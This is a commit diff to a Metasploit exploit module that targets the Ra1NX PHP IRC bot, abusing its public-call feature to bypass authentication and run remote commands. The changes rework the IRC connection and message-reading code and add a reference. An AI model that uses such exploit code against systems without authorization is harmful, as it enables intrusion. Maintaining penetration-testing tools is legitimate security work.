trying to solve irc comm issues

Author: jvazquez-r7

modules/exploits/multi/misc/Ra1NX_pubcall_exec.rb

@@ -14,9 +14,9 @@ class Metasploit3 < Msf::Exploit::Remote
 
 	def initialize(info = {})
 		super(update_info(info,
-			'Name'           => '"Ra1NX" PHP Bot PubCall Authentication Bypass Remote Code Execution',
+			'Name'           => 'Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution',
 			'Description'    => %q{
-					This module allows remote command execution on the PHP IRC bot Ra1NX by
+						This module allows remote command execution on the PHP IRC bot Ra1NX by
 					using the public call feature in private message to covertly bypass the
 					authentication system.
 				},
@@ -27,6 +27,7 @@ def initialize(info = {})
 			'License'        => MSF_LICENSE,
 			'References'     =>
 				[
+					['OSVDB', '91663'],
 					['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'],
 					['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'],
 					['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b']
@@ -40,7 +41,7 @@ def initialize(info = {})
 					'DisableNops' => true,
 					'Compat'      =>
 						{
-							'PayloadType' => 'cmd',
+							'PayloadType' => 'cmd'
 						}
 				},
 			'Targets'  =>
@@ -62,16 +63,38 @@ def initialize(info = {})
 			], self.class)
 	end
 
-	def check
+	def connect_irc
+		print_status("#{rhost}:#{rport} - Connecting to IRC server...")
 		connect
 
+		data = ""
+		begin
+			read_data = sock.get_once(-1, 1)
+			while not read_data.nil?
+				data << read_data
+				read_data = sock.get_once(-1, 1)
+			end
+		rescue EOFError
+		end
+
+		if data and data =~ /020.*wait/
+			print_status("#{rhost}:#{rport} - Connection successful, giving 3 seconds to IRC server to process our connection...")
+			select(nil, nil, nil, 3)
+		end
+	end
+
+	def check
+		connect_irc
+
 		response = register(sock)
 		if response =~ /463/ or response =~ /464/
 			print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
 			return Exploit::CheckCode::Unknown
 		end
+
 		confirm_string = rand_text_alpha(8)
-		response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n", ":#{datastore['RNICK']}")
+		response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")
+
 		quit(sock)
 		disconnect
 
@@ -82,22 +105,15 @@ def check
 		end
 	end
 
-	def send_msg(sock, data, startResponse = nil)
+	def send_msg(sock, data)
 		sock.put(data)
 		data = ""
-		count = 3
 		begin
-			begin
+			read_data = sock.get_once(-1, 1)
+			while not read_data.nil?
+				data << read_data
 				read_data = sock.get_once(-1, 1)
-				while not read_data.nil?
-					data << read_data
-					read_data = sock.get_once(-1, 1)
-				end
-				if startResponse != nil and data.start_with?(startResponse)
-					startResponse = nil
-				end
-				count -= 1
-			end while startResponse == nil and count != 0
+			end
 		rescue EOFError
 		end
 		data
@@ -137,7 +153,7 @@ def quit(sock)
 	end
 
 	def exploit
-		connect
+		connect_irc
 
 		print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
 		response = register(sock)